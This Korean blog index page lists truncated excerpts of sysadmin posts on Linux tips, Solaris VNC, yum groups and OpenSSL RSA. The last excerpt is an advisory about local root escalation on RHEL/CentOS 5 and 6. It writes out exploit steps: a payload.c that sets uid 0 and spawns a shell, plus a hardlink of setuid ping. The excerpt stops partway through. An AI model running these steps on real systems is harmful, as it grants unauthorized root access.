본문 바로가기

리눅스 관리자가 알아두어야 할 50가지 <수정요> 좋은내용이 많아서 일단 퍼오긴 했는데 수정해야할 부분도 있고, 내스타일대로 변경해봐야겠다.. 근데 언제 할지는 미지수.. ㅋㅋ 리눅스 시스템 관리자가 되기 위해서는 많은 것을 알아두어야 한다. 시스템 관리자의 관리 여하에 따라 많은 사람들의 시스템 장애를 초래할 수 있기 때문이다. 물론 시스템 관리자가 모든 것을 미리 예방할 수 없다. 하지만 불가피한 상황을 제외하고는 시스템이 정상적으로 작동되도록 해야한다. 이번호에는 시스템, 네트워크, APM, 메일, 보안, 장애발생시 복구등에서 일어날 수 있는 시스템 관리자의 행동요령에 대해 알아볼 것이다. 시스템 관리자는 항상 모니터와 키보드와 함께 한다는 사실을 기억해야 한다. [ 막강한 시스템 길들이기 ] 1. 바이오스 타이머 조정 시스템이 네트워크에 연결되어.. 더보기
Solaris 10 Update 5 VNC 설정 1. Solaris10 Update 5에서의 VNC 설정 Solaris10 Update 5 Version 부터는 VNC가 기본으로 설치 되어 있어 설정만 하면 사용할 수 있습니다. 1.1) Solaris10 release 확인 # cat /etc/release Solaris 10 10/09 s10x_u8wos_08a X86 Copyright 2009 Sun Microsystems, Inc. All Rights Reserved. Use is subject to license terms. Assembled 16 September 2009 1.2) Service File에 Port 추가 # cat >> /etc/inet/services vnc-server 5951/tcp #VNC-server 1.3) Serv.. 더보기
yum group install yum 기능 중 groupinstall이라는 옵션이 있다. 이 기능을 이용하면 미리 설정된 패키지들을 손쉽게 설치할 수 있도록 해준다. 1. 그룹 목록 확인 [root@localhost ~]# yum grouplist Loaded plugins: fastestmirror Setting up Group Process Loading mirror speeds from cached hostfile * addons: data.nicehosting.co.kr * base: data.nicehosting.co.kr * extras: data.nicehosting.co.kr * updates: data.nicehosting.co.kr Installed Groups: Administration Tools DNS Name.. 더보기
[펌] [OpenSSL 프로그래밍] RSA (비 대칭키) 암호화 프로젝트를 위해서 일단 퍼오기로 한다. 1. OpenSSL 이란 Secure Sockets Layer (SSL v2/v3) 와 Transport Layer Security (TLS v1) 프로토콜 뿐만 아니라 보다 강력한 암호화 라이브러리 제공을 위한 오픈 소스 toolkit 이다. 현재(2007년) 버전은 OpenSSL 0.9.8e 까지 나와 있는 상태이며, http://openssl.org/source 에서 소스를 받아 설치 할 수 있다. 2. 함수 설명 2.1 RSA(3) - RSA public key 암호화시스템 - RSA 란 public key 기반의 암호화 알고리즘으로, 현재 가장 널리 사용되는 암고리즘 중의 하나이다. - RSA 구조체 struct { BIGNUM *n; // public m.. 더보기
[긴급]RHEL/CENTOS/DEBIAN 5 & RHEL 6 / 에서 일반계정으로 쉽게 root 권한 획득하는 문제점 발견 [긴급]RHEL/CENTOS/DEBIAN 5 & RHEL 6 / 에서 일반계정으로 쉽게 root 권한 획득하는 문제점 발견 레드햇 보안 취약성으로 IMPORT 레벨로 일반계정으로 ROOT 권한을 획득할 수 있는 방법과 패치입니다. 패치 방법과 내용은 위의 URL을 참고하세요. >>>절차 일반계정으로 접속후 아래와 같이 명령 진행 $ cd /tmp $ cat > payload.c void __attribute__((constructor)) init() { setuid(0); system("/bin/bash"); } ^D (ctrl +d) $ mkdir /tmp/exploit $ ln /bin/ping /tmp/exploit/target $ exec 3< /tmp/exploit/target $ ls -l /.. 더보기